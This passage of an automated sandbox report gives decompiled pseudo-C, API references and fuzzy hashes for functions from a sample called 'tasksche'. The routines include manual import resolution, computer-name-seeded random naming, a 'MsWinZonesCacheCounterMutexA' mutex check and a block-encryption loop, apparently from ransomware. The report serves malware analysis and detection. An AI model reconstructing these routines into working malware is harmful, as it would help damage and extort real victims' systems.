__getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
_initterm.MSVCRT(0040E000,0040E004), ref: 0040787F

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: _initterm$__getmainargs__p__commode__p__fmode__set_app_type
String ID:
API String ID: 3626615345-0
Opcode ID: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
Instruction ID: 63d29f1c4e41429a3497612c8de1f509d91e94429ea3a2aefb8dc74a018e4fb3
Opcode Fuzzy Hash: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
Instruction Fuzzy Hash: 51318BB1D04344AFDB20AFA5DE49F5A7BA8BB05710F10463EF541B72E0CB786805CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00407831 Relevance: 12.1, APIs: 8, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00407831(CHAR* __ebx) {
				void* _t19;
				void _t21;
				intOrPtr _t28;
				signed int _t30;
				int _t32;
				intOrPtr* _t33;
				intOrPtr _t34;
				CHAR* _t35;
				intOrPtr _t38;
				intOrPtr* _t41;
				void* _t42;

				_t35 = __ebx;
				__setusermatherr(E0040793C);
				E0040792A(_t19);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t21 =  *0x40f940; // 0x0
				 *(_t42 - 0x6c) = _t21;
				__getmainargs(_t42 - 0x60, _t42 - 0x70, _t42 - 0x64,  *0x40f93c, _t42 - 0x6c);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t41 =  *_acmdln;
				 *((intOrPtr*)(_t42 - 0x74)) = _t41;
				if( *_t41 != 0x22) {
					while(1) {
						__eflags =  *_t41 - 0x20;
						if(__eflags <= 0) {
							goto L6;
						}
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				} else {
					do {
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
						_t34 =  *_t41;
					} while (_t34 != _t35 && _t34 != 0x22);
					if( *_t41 == 0x22) {
						L5:
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				}
				L6:
				_t28 =  *_t41;
				if(_t28 != _t35 && _t28 <= 0x20) {
					goto L5;
				}
				 *(_t42 - 0x30) = _t35;
				GetStartupInfoA(_t42 - 0x5c);
				_t52 =  *(_t42 - 0x30) & 0x00000001;
				if(( *(_t42 - 0x30) & 0x00000001) == 0) {
					_t30 = 0xa;
				} else {
					_t30 =  *(_t42 - 0x2c) & 0x0000ffff;
				}
				_t32 = L00401FE7(_t52, GetModuleHandleA(_t35), _t35, _t41, _t30);
				 *(_t42 - 0x68) = _t32;
				exit(_t32);
				_t33 =  *((intOrPtr*)(_t42 - 0x14));
				_t38 =  *((intOrPtr*)( *_t33));
				 *((intOrPtr*)(_t42 - 0x78)) = _t38;
				_push(_t33);
				_push(_t38);
				L0040791E();
				return _t33;
			}

0x00407831
0x00407836
0x0040783d
0x00407842
0x00407847
0x0040784c
0x00407851
0x00407856
0x0040786f
0x00407875
0x0040787a
0x0040787f
0x0040788c
0x0040788e
0x00407894
0x004078d0
0x004078d0
0x004078d3
0x00000000
0x00000000
0x004078d5
0x004078d6
0x004078d6
0x00407896
0x00407896
0x00407896
0x00407897
0x0040789a
0x0040789c
0x004078a7
0x004078a9
0x004078a9
0x004078aa
0x004078aa
0x004078a7
0x004078ad
0x004078ad
0x004078b1
0x00000000
0x00000000
0x004078b7
0x004078be
0x004078c4
0x004078c8
0x004078dd
0x004078ca
0x004078ca
0x004078ca
0x004078e9
0x004078ee
0x004078f2
0x004078f8
0x004078fd
0x004078ff
0x00407902
0x00407903
0x00407904
0x0040790b

APIs

__setusermatherr.MSVCRT(0040793C), ref: 00407836

Part of subcall function 0040792A: _controlfp.MSVCRT(00010000,00030000,00407842), ref: 00407934

_initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
__getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
_initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
GetStartupInfoA.KERNEL32(?), ref: 004078BE
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004078E2
exit.MSVCRT(00000000,00000000,?,?,?,?), ref: 004078F2
_XcptFilter.MSVCRT(?,?,?,?,?,?), ref: 00407904

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__setusermatherr_controlfpexit
String ID:
API String ID: 2141228402-0
Opcode ID: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
Instruction ID: 738ed170af38765147f9c33b7b7214e7a7d60aeb9597ff7827fffae83538cc25
Opcode Fuzzy Hash: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
Instruction Fuzzy Hash: F52135B2C04258AEEB20AFA5DD48AAD7BB8AF05304F24443FF581B7291D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004027DF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E004027DF(signed int* _a4) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr* _t50;
				intOrPtr _t53;
				intOrPtr _t55;
				void* _t58;
				void _t60;
				signed int _t63;
				signed int _t67;
				intOrPtr _t68;
				void* _t73;
				signed int _t75;
				intOrPtr _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				void* _t91;

				_t90 = _a4;
				_t2 = _t90 + 4; // 0x4be8563c
				_t87 =  *_t2;
				_t50 =  *_t90 + 0x80;
				_t75 = 1;
				_v16 = _t87;
				_v12 = _t75;
				if( *((intOrPtr*)(_t50 + 4)) != 0) {
					_t73 =  *_t50 + _t87;
					if(IsBadReadPtr(_t73, 0x14) != 0) {
						L25:
						return _v12;
					}
					while(1) {
						_t53 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t53 == 0) {
							goto L25;
						}
						_t8 = _t90 + 0x30; // 0xc085d0ff
						_t55 =  *((intOrPtr*)(_t90 + 0x24))(_t53 + _t87,  *_t8);
						_v8 = _t55;
						if(_t55 == 0) {
							SetLastError(0x7e);
							L23:
							_v12 = _v12 & 0x00000000;
							goto L25;
						}
						_t11 = _t90 + 0xc; // 0x317459c0
						_t14 = _t90 + 8; // 0x85000001
						_t58 = realloc( *_t14, 4 +  *_t11 * 4);
						if(_t58 == 0) {
							_t40 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t40);
							SetLastError(0xe);
							goto L23;
						}
						_t15 = _t90 + 0xc; // 0x317459c0
						 *(_t90 + 8) = _t58;
						 *((intOrPtr*)(_t58 +  *_t15 * 4)) = _v8;
						 *(_t90 + 0xc) =  *(_t90 + 0xc) + 1;
						_t60 =  *_t73;
						if(_t60 == 0) {
							_t88 = _t87 +  *((intOrPtr*)(_t73 + 0x10));
							_a4 = _t88;
						} else {
							_t88 =  *((intOrPtr*)(_t73 + 0x10)) + _v16;
							_a4 = _t60 + _t87;
						}
						while(1) {
							_t63 =  *_a4;
							if(_t63 == 0) {
								break;
							}
							if((_t63 & 0x80000000) == 0) {
								_t32 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t32);
								_t67 = _t63 + _v16 + 2;
							} else {
								_t30 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t30);
								_t67 = _t63 & 0x0000ffff;
							}
							_t68 =  *((intOrPtr*)(_t90 + 0x28))(_v8, _t67);
							_t91 = _t91 + 0xc;
							 *_t88 = _t68;
							if(_t68 == 0) {
								_v12 = _v12 & 0x00000000;
								break;
							} else {
								_a4 =  &(_a4[1]);
								_t88 = _t88 + 4;
								continue;
							}
						}
						if(_v12 == 0) {
							_t45 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t45);
							SetLastError(0x7f);
							goto L25;
						}
						_t73 = _t73 + 0x14;
						if(IsBadReadPtr(_t73, 0x14) == 0) {
							_t87 = _v16;
							continue;
						}
						goto L25;
					}
					goto L25;
				}
				return _t75;
			}

0x004027e6
0x004027ee
0x004027ee
0x004027f1
0x004027f6
0x004027f7
0x004027fa
0x00402801
0x0040280d
0x0040281a
0x0040291c
0x00000000
0x0040291f
0x00402825
0x00402825
0x0040282a
0x00000000
0x00000000
0x00402830
0x00402836
0x0040283a
0x00402840
0x004028fd
0x004028fd
0x00402903
0x00000000
0x00402903
0x00402846
0x00402851
0x00402854
0x0040285e
0x004028f0
0x004028f6
0x004028fd
0x00000000
0x004028fd
0x00402864
0x0040286a
0x0040286d
0x00402870
0x00402873
0x00402877
0x00402889
0x0040288b
0x00402879
0x0040287e
0x00402881
0x00402881
0x0040288e
0x00402891
0x00402895
0x00000000
0x00000000
0x0040289c
0x004028ab
0x004028ab
0x004028b0
0x0040289e
0x0040289e
0x0040289e
0x004028a1
0x004028a1
0x004028b7
0x004028ba
0x004028bd
0x004028c1
0x004028cc
0x00000000
0x004028c3
0x004028c3
0x004028c7
0x00000000
0x004028c7
0x004028c1
0x004028d4
0x00402909
0x0040290f
0x00402916
0x00000000
0x00402916
0x004028d6
0x004028e4
0x00402822
0x00000000
0x00402822
0x00000000
0x004028ea
0x00000000
0x00402825
0x00000000

APIs

IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
realloc.MSVCRT(85000001,317459C0), ref: 00402854
IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC

Strings

?!@, xrefs: 004027DF

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: Read$realloc
String ID: ?!@
API String ID: 1241503663-708128716
Opcode ID: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
Instruction ID: b911edbb3638e6438919fa35cb7379f64586f657f287b8edbc273cd359ebb62a
Opcode Fuzzy Hash: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
Instruction Fuzzy Hash: 4841AE76A00205EFDB109F55CE49B5ABBF4FF44310F24803AE846B62D1D7B8E900DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401225 Relevance: 10.6, APIs: 7, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00401225(intOrPtr _a4) {
				signed int _v8;
				long _v12;
				void _v410;
				long _v412;
				long _t34;
				signed int _t42;
				intOrPtr _t44;
				signed int _t45;
				signed int _t48;
				int _t54;
				signed int _t56;
				signed int _t60;
				signed int _t61;
				signed int _t62;
				void* _t71;
				signed short* _t72;
				void* _t76;
				void* _t77;

				_t34 =  *0x40f874; // 0x0
				_v412 = _t34;
				_t56 = 0x63;
				_v12 = 0x18f;
				memset( &_v410, 0, _t56 << 2);
				asm("stosw");
				GetComputerNameW( &_v412,  &_v12);
				_v8 = _v8 & 0x00000000;
				_t54 = 1;
				if(wcslen( &_v412) > 0) {
					_t72 =  &_v412;
					do {
						_t54 = _t54 * ( *_t72 & 0x0000ffff);
						_v8 = _v8 + 1;
						_t72 =  &(_t72[1]);
					} while (_v8 < wcslen( &_v412));
				}
				srand(_t54);
				_t42 = rand();
				_t71 = 0;
				asm("cdq");
				_t60 = 8;
				_t76 = _t42 % _t60 + _t60;
				if(_t76 > 0) {
					do {
						_t48 = rand();
						asm("cdq");
						_t62 = 0x1a;
						 *((char*)(_t71 + _a4)) = _t48 % _t62 + 0x61;
						_t71 = _t71 + 1;
					} while (_t71 < _t76);
				}
				_t77 = _t76 + 3;
				while(_t71 < _t77) {
					_t45 = rand();
					asm("cdq");
					_t61 = 0xa;
					 *((char*)(_t71 + _a4)) = _t45 % _t61 + 0x30;
					_t71 = _t71 + 1;
				}
				_t44 = _a4;
				 *(_t71 + _t44) =  *(_t71 + _t44) & 0x00000000;
				return _t44;
			}

0x0040122e
0x00401239
0x00401240
0x00401249
0x00401250
0x00401252
0x0040125f
0x0040126b
0x00401277
0x0040127e
0x00401280
0x00401286
0x00401289
0x0040128c
0x00401297
0x0040129d
0x00401286
0x004012a1
0x004012ae
0x004012b2
0x004012b4
0x004012b5
0x004012ba
0x004012be
0x004012c0
0x004012c0
0x004012c4
0x004012c5
0x004012ce
0x004012d1
0x004012d2
0x004012c0
0x004012d6
0x004012d9
0x004012dd
0x004012e1
0x004012e2
0x004012eb
0x004012ee
0x004012ee
0x004012f1
0x004012f4
0x004012fc

APIs

GetComputerNameW.KERNEL32(?,0000018F,?,?,00000000), ref: 0040125F
wcslen.MSVCRT(?,?,00000000), ref: 00401279
wcslen.MSVCRT(?,00000000), ref: 00401298
srand.MSVCRT(00000001,00000000), ref: 004012A1
rand.MSVCRT ref: 004012AE
rand.MSVCRT ref: 004012C0
rand.MSVCRT ref: 004012DD

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: rand$wcslen$ComputerNamesrand
String ID:
API String ID: 3058258771-0
Opcode ID: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
Instruction ID: 153b78e0bdef4b648922335b0398b7079fc1e42e5dbb3c53d325bf346215f47a
Opcode Fuzzy Hash: b0791ced207a07d975efd615d75f91e7379ad7fc4ff6fb2c179a53625b9ec986
Instruction Fuzzy Hash: FA212833A00318ABD7119B65ED81BDD77A8EB45354F1100BBF948F71C0CA759EC28BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00407070 Relevance: 10.6, APIs: 7, Instructions: 74
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407070(char* _a4, char* _a8) {
				char _v264;
				void _v524;
				long _t16;
				char* _t30;
				char* _t31;
				char* _t36;
				char* _t38;
				int _t40;
				void* _t41;

				_t30 = _a4;
				if(_t30 != 0 && GetFileAttributesA(_t30) == 0xffffffff) {
					CreateDirectoryA(_t30, 0);
				}
				_t36 = _a8;
				_t16 =  *_t36;
				if(_t16 != 0) {
					_t38 = _t36;
					_t31 = _t36;
					do {
						if(_t16 == 0x2f || _t16 == 0x5c) {
							_t38 = _t31;
						}
						_t16 = _t31[1];
						_t31 =  &(_t31[1]);
					} while (_t16 != 0);
					if(_t38 != _t36) {
						_t40 = _t38 - _t36;
						memcpy( &_v524, _t36, _t40);
						 *(_t41 + _t40 - 0x208) =  *(_t41 + _t40 - 0x208) & 0x00000000;
						E00407070(_t30,  &_v524);
					}
					_v264 = _v264 & 0x00000000;
					if(_t30 != 0) {
						strcpy( &_v264, _t30);
					}
					strcat( &_v264, _t36);
					_t16 = GetFileAttributesA( &_v264);
					if(_t16 == 0xffffffff) {
						return CreateDirectoryA( &_v264, 0);
					}
				}
				return _t16;
			}

0x0040707a
0x00407080
0x00407091
0x00407091
0x00407097
0x0040709a
0x0040709e
0x004070a5
0x004070a7
0x004070a9
0x004070ab
0x004070b1
0x004070b1
0x004070b3
0x004070b6
0x004070b7
0x004070bd
0x004070bf
0x004070ca
0x004070cf
0x004070df
0x004070e4
0x004070e7
0x004070f1
0x004070fb
0x00407101
0x0040710a
0x00407118
0x00407121
0x00000000
0x0040712c
0x00407121
0x00407135

APIs

GetFileAttributesA.KERNEL32(?,?,?), ref: 00407083
CreateDirectoryA.KERNEL32(?,00000000), ref: 00407091
memcpy.MSVCRT(?,0000002F,0000002F,?,?,?), ref: 004070CA
strcpy.MSVCRT(00000000,?,?,?), ref: 004070FB
strcat.MSVCRT(00000000,0000002F,?,?), ref: 0040710A
GetFileAttributesA.KERNEL32(00000000,?,?), ref: 00407118
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040712C

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: AttributesCreateDirectoryFile$memcpystrcatstrcpy
String ID:
API String ID: 2935503933-0
Opcode ID: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
Instruction ID: 50ba023859918e707bf45bf33fbe73a6a33da9a39eec2eddc6b78618a8cc3524
Opcode Fuzzy Hash: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
Instruction Fuzzy Hash: 1A112B72C0821456CB305B749D88FD7776C9B11320F1403BBE595B32C2DA78BD898669

Uniqueness

Uniqueness Score: -1.00%

Function 00401EFF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401EFF(intOrPtr _a4) {
				char _v104;
				void* _t9;
				void* _t11;
				void* _t12;

				sprintf( &_v104, "%s%d", "Global\\MsWinZonesCacheCounterMutexA", 0);
				_t12 = 0;
				if(_a4 <= 0) {
					L3:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t9 = OpenMutexA(0x100000, 1,  &_v104);
					if(_t9 != 0) {
						break;
					}
					Sleep(0x3e8);
					_t12 = _t12 + 1;
					if(_t12 < _a4) {
						continue;
					}
					goto L3;
				}
				CloseHandle(_t9);
				_t11 = 1;
				return _t11;
			}

0x00401f16
0x00401f1c
0x00401f24
0x00401f4c
0x00000000
0x00000000
0x00000000
0x00000000
0x00401f26
0x00401f26
0x00401f31
0x00401f39
0x00000000
0x00000000
0x00401f40
0x00401f46
0x00401f4a
0x00000000
0x00000000
0x00000000
0x00401f4a
0x00401f52
0x00401f5a
0x00000000

APIs

sprintf.MSVCRT(?,%s%d,Global\MsWinZonesCacheCounterMutexA,00000000), ref: 00401F16
OpenMutexA.KERNEL32(00100000,00000001,?), ref: 00401F31
Sleep.KERNEL32(000003E8), ref: 00401F40
CloseHandle.KERNEL32(00000000), ref: 00401F52

Strings

Global\MsWinZonesCacheCounterMutexA, xrefs: 00401F08
%s%d, xrefs: 00401F10

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: CloseHandleMutexOpenSleepsprintf
String ID: %s%d$Global\MsWinZonesCacheCounterMutexA
API String ID: 2780352083-2959021817
Opcode ID: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
Instruction ID: f4a3b48a0bafa41ae68b0177be176e29d76f271436d11399ade0a1af8f7a19ee
Opcode Fuzzy Hash: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
Instruction Fuzzy Hash: 92F0E931A40305BBDB20EBA49E4AB9B7758AB04B40F104036F945FA0D2DBB8D54586D8

Uniqueness

Uniqueness Score: -1.00%

Function 00403A77 Relevance: 9.1, APIs: 6, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00403A77(void* __ecx, void* _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				void* _v12;
				char _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v48;
				signed int _t121;
				int _t124;
				intOrPtr* _t126;
				intOrPtr _t127;
				int _t131;
				intOrPtr* _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				signed int _t139;
				signed int _t140;
				signed int _t143;
				signed int _t150;
				intOrPtr _t160;
				int _t161;
				int _t163;
				signed int _t164;
				signed int _t165;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				signed int _t172;
				signed int _t175;
				signed int _t178;
				intOrPtr _t194;
				void* _t195;
				void* _t196;
				void* _t197;
				intOrPtr _t198;
				void* _t201;

				_t197 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
				}
				_t121 = _a12;
				if(_t121 == 0) {
					L15:
					__imp__??0exception@@QAE@ABQBD@Z(0x40f574);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
					_push( &_v16);
					_push(0);
					_push(_t197);
					_t198 = _v36;
					_t194 = _v32;
					_t168 =  *((intOrPtr*)(_t198 + 0x30));
					_t160 =  *((intOrPtr*)(_t198 + 0x34));
					_t71 = _t194 + 0xc; // 0x40d568
					_v48 =  *_t71;
					_v32 = _t168;
					if(_t168 > _t160) {
						_t160 =  *((intOrPtr*)(_t198 + 0x2c));
					}
					_t75 = _t194 + 0x10; // 0x19930520
					_t124 =  *_t75;
					_t161 = _t160 - _t168;
					if(_t161 > _t124) {
						_t161 = _t124;
					}
					if(_t161 != 0 && _a8 == 0xfffffffb) {
						_a8 = _a8 & 0x00000000;
					}
					 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t161;
					 *(_t194 + 0x10) = _t124 - _t161;
					_t126 =  *((intOrPtr*)(_t198 + 0x38));
					if(_t126 != 0) {
						_t137 =  *_t126( *((intOrPtr*)(_t198 + 0x3c)), _t168, _t161);
						 *((intOrPtr*)(_t198 + 0x3c)) = _t137;
						_t201 = _t201 + 0xc;
						 *((intOrPtr*)(_t194 + 0x30)) = _t137;
					}
					if(_t161 != 0) {
						memcpy(_v12, _a4, _t161);
						_v12 = _v12 + _t161;
						_t201 = _t201 + 0xc;
						_a4 = _a4 + _t161;
					}
					_t127 =  *((intOrPtr*)(_t198 + 0x2c));
					if(_a4 == _t127) {
						_t169 =  *((intOrPtr*)(_t198 + 0x28));
						_a4 = _t169;
						if( *((intOrPtr*)(_t198 + 0x34)) == _t127) {
							 *((intOrPtr*)(_t198 + 0x34)) = _t169;
						}
						_t99 = _t194 + 0x10; // 0x19930520
						_t131 =  *_t99;
						_t163 =  *((intOrPtr*)(_t198 + 0x34)) - _t169;
						if(_t163 > _t131) {
							_t163 = _t131;
						}
						if(_t163 != 0 && _a8 == 0xfffffffb) {
							_a8 = _a8 & 0x00000000;
						}
						 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t163;
						 *(_t194 + 0x10) = _t131 - _t163;
						_t133 =  *((intOrPtr*)(_t198 + 0x38));
						if(_t133 != 0) {
							_t135 =  *_t133( *((intOrPtr*)(_t198 + 0x3c)), _t169, _t163);
							 *((intOrPtr*)(_t198 + 0x3c)) = _t135;
							_t201 = _t201 + 0xc;
							 *((intOrPtr*)(_t194 + 0x30)) = _t135;
						}
						if(_t163 != 0) {
							memcpy(_v12, _a4, _t163);
							_v12 = _v12 + _t163;
							_a4 = _a4 + _t163;
						}
					}
					 *(_t194 + 0xc) = _v12;
					 *((intOrPtr*)(_t198 + 0x30)) = _a4;
					return _a8;
				} else {
					_t170 =  *(_t197 + 0x3cc);
					if(_t121 % _t170 != 0) {
						goto L15;
					} else {
						if(_a16 != 1) {
							_t195 = _a4;
							_t139 = _a12;
							_a16 = 0;
							_t164 = _a8;
							if(_a16 != 2) {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E00403797(_t197, _t195, _t164);
										_t172 =  *(_t197 + 0x3cc);
										_t195 = _t195 + _t172;
										_t143 = _a12 / _t172;
										_t164 = _t164 + _t172;
										_a16 = _a16 + 1;
									} while (_a16 < _t143);
									return _t143;
								}
							} else {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E0040350F(_t197, _t197 + 0x3f0, _t164);
										E00403A28(_t197, _t164, _t195);
										memcpy(_t197 + 0x3f0, _t195,  *(_t197 + 0x3cc));
										_t175 =  *(_t197 + 0x3cc);
										_t201 = _t201 + 0xc;
										_t150 = _a12 / _t175;
										_t195 = _t195 + _t175;
										_t164 = _t164 + _t175;
										_a16 = _a16 + 1;
									} while (_a16 < _t150);
									return _t150;
								}
							}
						} else {
							_t196 = _a4;
							_t140 = _a12 / _t170;
							_a16 = 0;
							_t165 = _a8;
							if(_t140 > 0) {
								do {
									E00403797(_t197, _t196, _t165);
									E00403A28(_t197, _t165, _t197 + 0x3f0);
									memcpy(_t197 + 0x3f0, _t196,  *(_t197 + 0x3cc));
									_t178 =  *(_t197 + 0x3cc);
									_t201 = _t201 + 0xc;
									_t140 = _a12 / _t178;
									_t196 = _t196 + _t178;
									_t165 = _t165 + _t178;
									_a16 = _a16 + 1;
								} while (_a16 < _t140);
							}
						}
						return _t140;
					}
				}
			}

0x00403a7f
0x00403a87
0x00403a91
0x00403a9a
0x00403a9f
0x00403aa0
0x00403aa0
0x00403aa5
0x00403aaa
0x00403bba
0x00403bc2
0x00403bcb
0x00403bd0
0x00403bd1
0x00403bd9
0x00403bda
0x00403bdb
0x00403bdc
0x00403be0
0x00403be3
0x00403be6
0x00403be9
0x00403bee
0x00403bf1
0x00403bf4
0x00403bf6
0x00403bf6
0x00403bf9
0x00403bf9
0x00403bfc
0x00403c00
0x00403c02
0x00403c02
0x00403c06
0x00403c0e
0x00403c0e
0x00403c12
0x00403c17
0x00403c1a
0x00403c1f
0x00403c26
0x00403c28
0x00403c2b
0x00403c2e
0x00403c2e
0x00403c33
0x00403c3c
0x00403c41
0x00403c44
0x00403c47
0x00403c47
0x00403c4a
0x00403c50
0x00403c52
0x00403c58
0x00403c5b
0x00403c5d
0x00403c5d
0x00403c63
0x00403c63
0x00403c66
0x00403c6a
0x00403c6c
0x00403c6c
0x00403c70
0x00403c78
0x00403c78
0x00403c7c
0x00403c81
0x00403c84
0x00403c89
0x00403c90
0x00403c92
0x00403c95
0x00403c98
0x00403c98
0x00403c9d
0x00403ca6
0x00403cab
0x00403cb1
0x00403cb1
0x00403c9d
0x00403cb7
0x00403cbd
0x00403cc7
0x00403ab0
0x00403ab0
0x00403abc
0x00000000
0x00403ac2
0x00403ac6
0x00403b2c
0x00403b2f
0x00403b32
0x00403b35
0x00403b38
0x00403b8d
0x00403b91
0x00403b93
0x00403b97
0x00403b9c
0x00403ba7
0x00403ba9
0x00403bab
0x00403bad
0x00403bb0
0x00000000
0x00403b93
0x00403b3a
0x00403b3c
0x00403b40
0x00403b42
0x00403b4c
0x00403b55
0x00403b68
0x00403b6d
0x00403b78
0x00403b7b
0x00403b7d
0x00403b7f
0x00403b81
0x00403b84
0x00000000
0x00403b42
0x00403b40
0x00403ac8
0x00403acb
0x00403ace
0x00403ad0
0x00403ad3
0x00403ad8
0x00403ada
0x00403ade
0x00403aed
0x00403b00
0x00403b05
0x00403b10
0x00403b13
0x00403b15
0x00403b17
0x00403b19
0x00403b1c
0x00403ada
0x00403ad8
0x00403b25
0x00403b25
0x00403abc

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,00000001), ref: 00403A91
